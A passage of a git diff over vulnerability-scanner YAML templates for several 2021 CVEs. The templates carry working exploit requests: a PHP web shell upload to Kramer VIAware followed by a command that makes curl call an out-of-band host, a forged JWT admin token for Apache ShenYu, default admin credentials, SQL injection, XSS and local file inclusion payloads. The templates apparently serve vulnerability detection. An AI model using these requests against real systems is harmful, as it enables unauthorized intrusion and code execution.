4a0a0047304502203d8207daffbe09abc286d385b724dedd353d2a20f0705d03996c581d35f64fc6022100d8b0566813d6a27366e774ead09faec475991ef1982b8d1619e3d07bd48bdfd1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-35336.yaml b/poc/cve/CVE-2021-35336.yaml index 57ac41c1f0..ad2bd833dd 100644 --- a/poc/cve/CVE-2021-35336.yaml +++ b/poc/cve/CVE-2021-35336.yaml @@ -1,38 +1,26 @@ id: CVE-2021-35336 - info: - name: Tieline IP Audio Gateway <=2.6.4.8 - Unauthorized Remote Admin Panel Access + name: Unauthorised Remote Access of Internal Panel author: Pratik Khalane severity: critical - description: Tieline IP Audio Gateway 2.6.4.8 and below is affected by a vulnerability in the web administrative interface that could allow an unauthenticated user to access a sensitive part of the system with a high privileged account. - remediation: | - Upgrade to a patched version of Tieline IP Audio Gateway that fixes the vulnerability. + description: Finding the Tieline Admin Panels with default credentials. reference: - https://pratikkhalane91.medium.com/use-of-default-credentials-to-unauthorised-remote-access-of-internal-panel-of-tieline-c1ffe3b3757c - https://nvd.nist.gov/vuln/detail/CVE-2021-35336 + tags: cve,cve2021,tieline,default-login classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 + cvss-score: 9.80 cve-id: CVE-2021-35336 - cwe-id: CWE-1188 - epss-score: 0.08605 - epss-percentile: 0.93836 - cpe: cpe:2.3:o:tieline:ip_audtio_gateway_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: tieline - product: ip_audtio_gateway_firmware - tags: cve,cve2021,tieline,default-login - -http: + cwe-id: CWE-863 +requests: - method: GET path: - '{{BaseURL}}/api/get_device_details' - headers: - Authorization: 'Digest username="admin", realm="Bridge-IT", nonce="d24d09512ebc3e43c4f6faf34fdb8c76", uri="/api/get_device_details", response="d052e9299debc7bd9cb8adef0a83fed4", qop=auth, nc=00000001, cnonce="ae373d748855243d"' Referer: '{{BaseURL}}/assets/base/home.html' - + Authorization: 'Digest username="admin", realm="Bridge-IT", nonce="d24d09512ebc3e43c4f6faf34fdb8c76", uri="/api/get_device_details", response="d052e9299debc7bd9cb8adef0a83fed4", qop=auth, nc=00000001, cnonce="ae373d748855243d"' + # admin:password matchers-condition: and matchers: - type: word @@ -40,15 +28,10 @@ http: - "" - "" condition: and - - type: word - part: header words: - "text/xml" - + part: header - type: status status: - 200 - -# admin:password -# digest: 4b0a00483046022100d4af96c8626e80dffcd7619bd6ee6bcf596103af4e3bb29c2c87fd5b465d4601022100f06bcdbda3b82014f6575a503ea839a2e0eda39767c703302020b2fe49520a93:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-36356.yaml b/poc/cve/CVE-2021-36356.yaml index fc0224ed28..c9e0b4294a 100644 --- a/poc/cve/CVE-2021-36356.yaml +++ b/poc/cve/CVE-2021-36356.yaml @@ -1,9 +1,12 @@ id: CVE-2021-36356 + info: name: Kramer VIAware - Remote Code Execution author: gy741 severity: critical description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames. + remediation: | + Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface. reference: - https://www.exploit-db.com/exploits/50856 - https://nvd.nist.gov/vuln/detail/CVE-2021-36356 @@ -14,8 +17,18 @@ info: cvss-score: 9.8 cve-id: CVE-2021-36356 cwe-id: CWE-434 - tags: rce,viaware,cve,cve2021,kramer -requests: + epss-score: 0.88363 + epss-percentile: 0.9839 + cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: kramerav + product: viaware + tags: viaware,cve,cve2021,kramer,edb,rce,intrusive +variables: + useragent: "{{rand_base(6)}}" + +http: - raw: - | POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1 @@ -24,12 +37,18 @@ requests: radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php - | - GET /{{randstr}}.php?cmd=sudo%20rpm%20--eval%20'%25%7Blua:os.execute(%22wget%20http://{{interactsh-url}}%22)%7D' HTTP/1.1 + GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1 Host: {{Hostname}} + + matchers-condition: and matchers: - type: word - part: interactsh_protocol + part: interactsh_protocol # Confirms the HTTP Interaction words: - - "http" + - http -# Enhanced by mp on 2022/05/18 + - type: word + part: interactsh_request + words: + - "User-Agent: {{useragent}}" +# digest: 4a0a00473045022038f33dbb8c0e4e04f81a15960ffcabd69af2843f7f1a1e19609931f3ca3e0541022100c8117ef56cbb512b2c048b44d2ff596af4af06cb9d8e325d011eb6bd7ab2013b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-36450.yaml b/poc/cve/CVE-2021-36450.yaml index 7220501c25..e1717fff16 100644 --- a/poc/cve/CVE-2021-36450.yaml +++ b/poc/cve/CVE-2021-36450.yaml @@ -1,24 +1,35 @@ id: CVE-2021-36450 + info: - name: Verint 15.2 - Cross Site Scripting + name: Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting author: atomiczsec severity: medium - description: Verint Workforce Optimization (WFO) 15.2.8.10048 allows XSS via the control/my_notifications NEWUINAV parameter. + description: Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter. + remediation: | + Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization. reference: - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-36450 - http://verint.com + - https://nvd.nist.gov/vuln/detail/CVE-2021-36450 + - https://medium.com/%401nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-36450 cwe-id: CWE-79 + epss-score: 0.00229 + epss-percentile: 0.61015 + cpe: cpe:2.3:a:verint:workforce_optimization:15.2.8.10048:*:*:*:*:*:*:* metadata: + verified: true + max-request: 2 + vendor: verint + product: workforce_optimization shodan-query: title:"Verint Sign-in" - verified: "true" tags: cve,cve2021,xss,verint -requests: + +http: - raw: - | GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1 @@ -29,27 +40,32 @@ requests: Content-Type: application/x-www-form-urlencoded browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}} - redirects: true + + host-redirects: true max-redirects: 2 - cookie-reuse: true - extractors: - - type: regex - part: header - internal: true - name: csrfp_login - group: 1 - regex: - - 'csrfp_login=([a-zA-Z0-9]+);' + matchers-condition: and matchers: - type: word part: body words: - '">

Test

26" class="loginUserNameText' + - type: word part: header words: - text/html + - type: status status: - 200 + + extractors: + - type: regex + name: csrfp_login + group: 1 + regex: + - 'csrfp_login=([a-zA-Z0-9]+);' + internal: true + part: header +# digest: 4a0a0047304502201ab8298f9022d904f013a7812dbd3dc197a3eef74fe2a61f753796c53f998dc9022100b215a89942ddf0bdad8e418964633f385e04f825de069dcd937ab8a0b88a3647:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-36748.yaml b/poc/cve/CVE-2021-36748.yaml index 7f5d71f85e..37b1d14da5 100644 --- a/poc/cve/CVE-2021-36748.yaml +++ b/poc/cve/CVE-2021-36748.yaml @@ -1,21 +1,33 @@ id: CVE-2021-36748 + info: - name: PrestaHome Blog for PrestaShop - SQL Injection + name: PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection author: whoever severity: high - description: Blog for PrestaShop by PrestaHome < 1.7.8 is vulnerable to a SQL injection (blind) via sb_category parameter. + description: PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter. + remediation: | + Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-36748 - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/ - https://alysum5.promokit.eu/promokit/documentation/blog/ - https://blog.sorcery.ie + - https://nvd.nist.gov/vuln/detail/CVE-2021-36748 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-36748 cwe-id: CWE-89 + epss-score: 0.0061 + epss-percentile: 0.76233 + cpe: cpe:2.3:a:prestahome:blog:*:*:*:*:*:prestashop:*:* + metadata: + max-request: 2 + vendor: prestahome + product: blog + framework: prestashop tags: cve,cve2021,prestashop,prestahome,sqli,cms -requests: + +http: - raw: - | GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1 @@ -23,13 +35,14 @@ requests: - | GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1 Host: {{Hostname}} - req-condition: true + matchers: - type: dsl dsl: - "status_code_1 == 200" - "status_code_2 == 404" - 'contains(body_1, "prestashop")' - - "contains(tolower(all_headers_2), 'index.php?controller=404')" + - "contains(tolower(header_2), 'index.php?controller=404')" - "len(body_2) == 0" condition: and +# digest: 4a0a0047304502207dfb73f17ec91829f9936991422291cb8245cafa266135f0fb6c009ba7c413240221008f869afe05d50b68dcdeb325942369babd91ffa268ae254bc9d16592646001c3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-37416.yaml b/poc/cve/CVE-2021-37416.yaml index 3f2ac17b38..ea5a0d7149 100644 --- a/poc/cve/CVE-2021-37416.yaml +++ b/poc/cve/CVE-2021-37416.yaml @@ -1,38 +1,52 @@ id: CVE-2021-37416 + info: - name: Zoho ManageEngine ADSelfService Plus - Reflected XSS + name: Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting author: edoardottt severity: medium - description: Zoho ManageEngine ADSelfService Plus version 6103 and prior is vulnerable to reflected XSS on the loadframe page. + description: Zoho ManageEngine ADSelfService Plus 6103 and prior contains a reflected cross-site scripting vulnerability on the loadframe page. + remediation: | + Upgrade to a patched version of Zoho ManageEngine ADSelfService Plus (version >6103) to mitigate this vulnerability. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 + - https://blog.stmcyber.com/vulns/cve-2021-37416/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-37416 cwe-id: CWE-79 + epss-score: 0.00118 + epss-percentile: 0.45672 + cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:*:*:*:*:*:*:*:* metadata: - shodan-query: http.title:"ManageEngine" verified: true - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 - - https://blog.stmcyber.com/vulns/cve-2021-37416/ + max-request: 1 + vendor: zohocorp + product: manageengine_adselfservice_plus + shodan-query: http.title:"ManageEngine" tags: cve,cve2021,zoho,xss -requests: + +http: - method: GET path: - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E" + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: header words: - "text/html" + - type: word part: body words: - ">" - "adsf/js/" condition: and + + - type: status + status: + - 200 +# digest: 4a0a0047304502207addd537e07781cc3b8c8d0b4620afde94b9ccb2bb20bc3acad9181043464f37022100c3a734611cf58b5296bb3a38cfc079d6ae0aa9b0dbb906104c273badfa2212d9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-37573.yaml b/poc/cve/CVE-2021-37573.yaml index f1ffb3c844..4479511024 100644 --- a/poc/cve/CVE-2021-37573.yaml +++ b/poc/cve/CVE-2021-37573.yaml @@ -1,31 +1,49 @@ id: CVE-2021-37573 + info: - name: Tiny Java Web Server - Reflected XSS + name: Tiny Java Web Server - Cross-Site Scripting author: geeknik severity: medium + description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix this vulnerability. reference: - https://seclists.org/fulldisclosure/2021/Aug/13 - tags: cve,cve2021,xss,tjws,java + - https://nvd.nist.gov/vuln/detail/CVE-2021-37573 + - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt + - http://seclists.org/fulldisclosure/2021/Aug/13 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2021-37573 cwe-id: CWE-79 - description: "A reflected cross-site scripting (XSS) vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's \"404 Page not Found\" error page" -requests: + epss-score: 0.00303 + epss-percentile: 0.66303 + cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: tiny_java_web_server_project + product: tiny_java_web_server + tags: cve,cve2021,xss,tjws,java,seclists + +http: - method: GET path: - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est" + matchers-condition: and matchers: - - type: status - status: - - 404 - type: word part: body words: - "

404 test not found

" + - type: word part: header words: - text/html + + - type: status + status: + - 404 +# digest: 490a0046304402201912e08f3b5b2c46b9fcebbd28f2dfa3d9c74230aa960acce9b96c10207ff2ee02203e22f4616c844974164ee09c898e3a8b4c4205081c17fd2d7c796bc82b890ea2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-37580.yaml b/poc/cve/CVE-2021-37580.yaml index e83ef1c7fa..326f01e24f 100644 --- a/poc/cve/CVE-2021-37580.yaml +++ b/poc/cve/CVE-2021-37580.yaml @@ -1,12 +1,9 @@ id: CVE-2021-37580 - info: name: Apache ShenYu Admin JWT - Authentication Bypass author: pdteam severity: critical description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. - remediation: | - Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-37580 - https://github.com/fengwenhua/CVE-2021-37580 @@ -17,22 +14,13 @@ info: cvss-score: 9.8 cve-id: CVE-2021-37580 cwe-id: CWE-287 - epss-score: 0.91668 - epss-percentile: 0.98635 - cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: apache - product: shenyu tags: cve,cve2021,apache,jwt,shenyu - -http: +requests: - raw: - | GET /dashboardUser HTTP/1.1 Host: {{Hostname}} X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk - matchers-condition: and matchers: - type: word @@ -41,8 +29,8 @@ http: - '"userName":"admin"' - '"code":200' condition: and - - type: status status: - 200 -# digest: 4a0a00473045022100d015114f5c649b19ec82d37c22b9a2ef8fe3d3d6da73f17340a622072a6c588d022020cf627bdb18789231b2034c0990d3d89617fb37b3aa3a99f44005f12a28d38e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/02 diff --git a/poc/cve/CVE-2021-37589.yaml b/poc/cve/CVE-2021-37589.yaml index f10ff799c2..d67434e9b2 100644 --- a/poc/cve/CVE-2021-37589.yaml +++ b/poc/cve/CVE-2021-37589.yaml @@ -1,10 +1,13 @@ id: CVE-2021-37589 + info: name: Virtua Software Cobranca <12R - Blind SQL Injection author: princechaddha severity: high description: | Virtua Cobranca before 12R allows blind SQL injection on the login page. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Virtua Software Cobranca <12R. reference: - https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589 - https://www.virtuasoftware.com.br/ @@ -15,11 +18,18 @@ info: cvss-score: 7.5 cve-id: CVE-2021-37589 cwe-id: CWE-89 + epss-score: 0.00561 + epss-percentile: 0.75104 + cpe: cpe:2.3:a:virtuasoftware:cobranca:*:*:*:*:*:*:*:* metadata: + verified: true + max-request: 3 + vendor: virtuasoftware + product: cobranca shodan-query: http.favicon.hash:876876147 - verified: "true" tags: cve,cve2021,virtua,sqli -requests: + +http: - raw: - | POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1 @@ -39,8 +49,7 @@ requests: X-Requested-With: XMLHttpRequest idusuario=''&idsenha=a&tipousr=Usuario - cookie-reuse: true - req-condition: true + matchers-condition: and matchers: - type: dsl @@ -48,8 +57,8 @@ requests: - 'contains(body_3, "Os parametros não estão informados corretamente")' - 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")' condition: or + - type: dsl dsl: - "status_code_2 == 500 && status_code_3 == 200" - -# Enhanced by mp on 2022/06/30 +# digest: 4a0a004730450221009ddeb54e8f3aaa7be7721c0b8e52a7df94a1f32d89c5306573e2b6ac9411a7ab02200f8020c3d6cefa36a0fab64097ab7e8e669af33754677dd7babb550d214d1392:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-37833.yaml b/poc/cve/CVE-2021-37833.yaml index b9b0c909c3..67549658f1 100644 --- a/poc/cve/CVE-2021-37833.yaml +++ b/poc/cve/CVE-2021-37833.yaml @@ -1,53 +1,37 @@ id: CVE-2021-37833 - info: - name: Hotel Druid 3.0.2 - Cross-Site Scripting + name: Hotel Druid 3.0.2 XSS author: pikpikcu severity: medium - description: Hotel Druid 3.0.2 contains a cross-site scripting vulnerability in multiple pages which allows for arbitrary execution of JavaScript commands. - remediation: | - To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. + description: Reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. reference: - https://github.com/dievus/CVE-2021-37833 - - https://www.hoteldruid.com - https://nvd.nist.gov/vuln/detail/CVE-2021-37833 + - https://www.hoteldruid.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-37833 cwe-id: CWE-79 - epss-score: 0.0009 - epss-percentile: 0.3779 - cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.2:*:*:*:*:*:*:* - metadata: - max-request: 4 - vendor: digitaldruid - product: hoteldruid tags: cve,cve2021,hoteldruid,xss - -http: +requests: - method: GET path: - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1' - '{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1' - '{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1' - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1' - stop-at-first-match: true - matchers-condition: and matchers: - type: word - part: body words: - '' - + part: body - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a00463044022053634e89d6b4ecf58d7a6969f9b72d74139b65f8976256dfc4ceb73e024c51df02205a8bbdc3e54949a736e9dc7c7fe38108df0dd7c10b04c177c1d93302f1f0838d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-37859.yaml b/poc/cve/CVE-2021-37859.yaml index 0c6287fe0c..cade6b445d 100644 --- a/poc/cve/CVE-2021-37859.yaml +++ b/poc/cve/CVE-2021-37859.yaml @@ -1,26 +1,21 @@ id: CVE-2021-37859 - info: name: Mattermost XSS author: 0x_Akoko severity: medium description: reflected Cross-Site Scripting (XSS) via the OAuth flow tags: cve,cve2021,xss - requests: - method: GET path: - "{{BaseURL}}/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src%3D%22%22%20onerror%3D%22alert(document.domain)%22%3E" - matchers-condition: and matchers: - - type: word words: - "" part: body condition: and - - type: word words: - "text/html" diff --git a/poc/cve/CVE-2021-38647.yaml b/poc/cve/CVE-2021-38647.yaml index 9f547bce35..7afe83ab89 100644 --- a/poc/cve/CVE-2021-38647.yaml +++ b/poc/cve/CVE-2021-38647.yaml @@ -1,22 +1,32 @@ id: CVE-2021-38647 + info: name: Microsoft Open Management Infrastructure - Remote Code Execution author: daffainfo,xstp severity: critical description: Microsoft Open Management Infrastructure is susceptible to remote code execution (OMIGOD). + remediation: Updates for this vulnerability were published on GitHub on August 11, 2021. reference: - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647 - https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647 - https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/ - https://github.com/microsoft/omi - remediation: Updates for this vulnerability were published on GitHub on August 11, 2021. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-38647 + cwe-id: CWE-287 + epss-score: 0.97272 + epss-percentile: 0.99821 + cpe: cpe:2.3:a:microsoft:azure_automation_state_configuration:-:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: microsoft + product: azure_automation_state_configuration tags: cve,cve2021,rce,omi,microsoft,kev -requests: + +http: - raw: - | POST /wsman HTTP/1.1 @@ -58,11 +68,11 @@ requests: + matchers: - type: word words: - '' - 'uid=0(root) gid=0(root) groups=0' condition: and - -# Enhanced by mp on 2022/05/02 +# digest: 490a0046304402203037ecadc7d349fa07cc4cba3a113c04d84675b1abced722b1588c3fe39bbf7502204c391cbe8df5b14dfea3616bdf60c82fb486d3af8a28a0e7bf43e343d934ebd2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-38702.yaml b/poc/cve/CVE-2021-38702.yaml index d36c7258bd..cf51a9d3b3 100644 --- a/poc/cve/CVE-2021-38702.yaml +++ b/poc/cve/CVE-2021-38702.yaml @@ -1,32 +1,19 @@ id: CVE-2021-38702 info: - name: Cyberoam NetGenie Cross-Site Scripting + name: Cyberoam NetGenie XSS author: geeknik severity: medium - description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php. - remediation: | - Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability. - reference: - - https://seclists.org/fulldisclosure/2021/Aug/20 - - https://nvd.nist.gov/vuln/detail/CVE-2021-38702 - - http://www.cyberoamworks.com/NetGenie-Home.asp - - http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html + description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 allow for reflected Cross Site Scripting via the 'u' parameter of ft.php. + reference: https://seclists.org/fulldisclosure/2021/Aug/20 + tags: cve,cve2021,cyberoam,netgenie,xss,router classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2021-38702 cwe-id: CWE-79 - epss-score: 0.0076 - epss-percentile: 0.79027 - cpe: cpe:2.3:o:cyberoamworks:netgenie_c0101b1-20141120-ng11vo_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: cyberoamworks - product: netgenie_c0101b1-20141120-ng11vo_firmware - tags: cyberoam,netgenie,xss,router,seclists,cve,packetstorm,cve2021 -http: +requests: - method: GET path: - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" @@ -38,11 +25,10 @@ http: - "" - type: word - part: header words: - "text/html" + part: header - type: status status: - 200 -# digest: 4a0a004730450220351881cd61d500d7b9ff1874d8462f30ddc1afacbff8d760a6d921efd0b7c7860221009bdfb45ebb721a4a690dda3679d6f940ce539ec54b87bd65cd05754e5435a7cd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-39211.yaml b/poc/cve/CVE-2021-39211.yaml index 0847c7cf42..136bfacadf 100644 --- a/poc/cve/CVE-2021-39211.yaml +++ b/poc/cve/CVE-2021-39211.yaml @@ -1,24 +1,35 @@ id: CVE-2021-39211 + info: - name: GLPI Telemetry Disclosure + name: GLPI 9.2/<9.5.6 - Information Disclosure author: dogasantos,noraj severity: medium - description: GLPI => 9.2 and < 9.5.6, the telemetry endpoint discloses GLPI and server information. + description: GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: This issue is fixed in version 9.5.6. As a workaround, remove the file ajax/telemetry.php, which is not needed for usual GLPI functions. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-39211 - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825 - https://github.com/glpi-project/glpi/releases/tag/9.5.6 + - https://nvd.nist.gov/vuln/detail/CVE-2021-39211 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-39211 - cwe-id: CWE-668,CWE-200 + cwe-id: CWE-200,NVD-CWE-noinfo + epss-score: 0.00166 + epss-percentile: 0.53249 + cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: glpi-project + product: glpi tags: cve,cve2021,glpi,exposure -requests: + +http: - method: GET path: - "{{BaseURL}}/ajax/telemetry.php" - "{{BaseURL}}/glpi/ajax/telemetry.php" + matchers-condition: and matchers: - type: word @@ -26,6 +37,8 @@ requests: - '"uuid":' - '"glpi":' condition: and + - type: status status: - 200 +# digest: 4a0a004730450220493c71801722f7e62cca179faa4bd7d3ef10fb9f358b42162ae4ebab27fee6f1022100879a2331f916109ef5ec80b5a2e795e4f9a8e9200df37a6e7dcdfe78b5686752:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-39312.yaml b/poc/cve/CVE-2021-39312.yaml index 02e3b11697..c01cb9c597 100644 --- a/poc/cve/CVE-2021-39312.yaml +++ b/poc/cve/CVE-2021-39312.yaml @@ -1,22 +1,32 @@ id: CVE-2021-39312 + info: name: WordPress True Ranker <2.2.4 - Local File Inclusion author: DhiyaneshDK severity: high description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion. + remediation: Fixed in version 2.2.4 reference: - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79 - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312 - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php - https://nvd.nist.gov/vuln/detail/CVE-2021-39312 - remediation: Fixed in version 2.2.4 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-39312 - cwe-id: CWE-22,CWE-22 - tags: cve,cve2021,lfi,wp,wordpress,wp-plugin,unauth,lfr -requests: + cwe-id: CWE-22 + epss-score: 0.06634 + epss-percentile: 0.93061 + cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: trueranker + product: true_ranker + framework: wordpress + tags: unauth,lfr,wpscan,cve,cve2021,wp-plugin,lfi,wp,wordpress + +http: - raw: - | POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1 @@ -25,6 +35,7 @@ requests: Cookie: 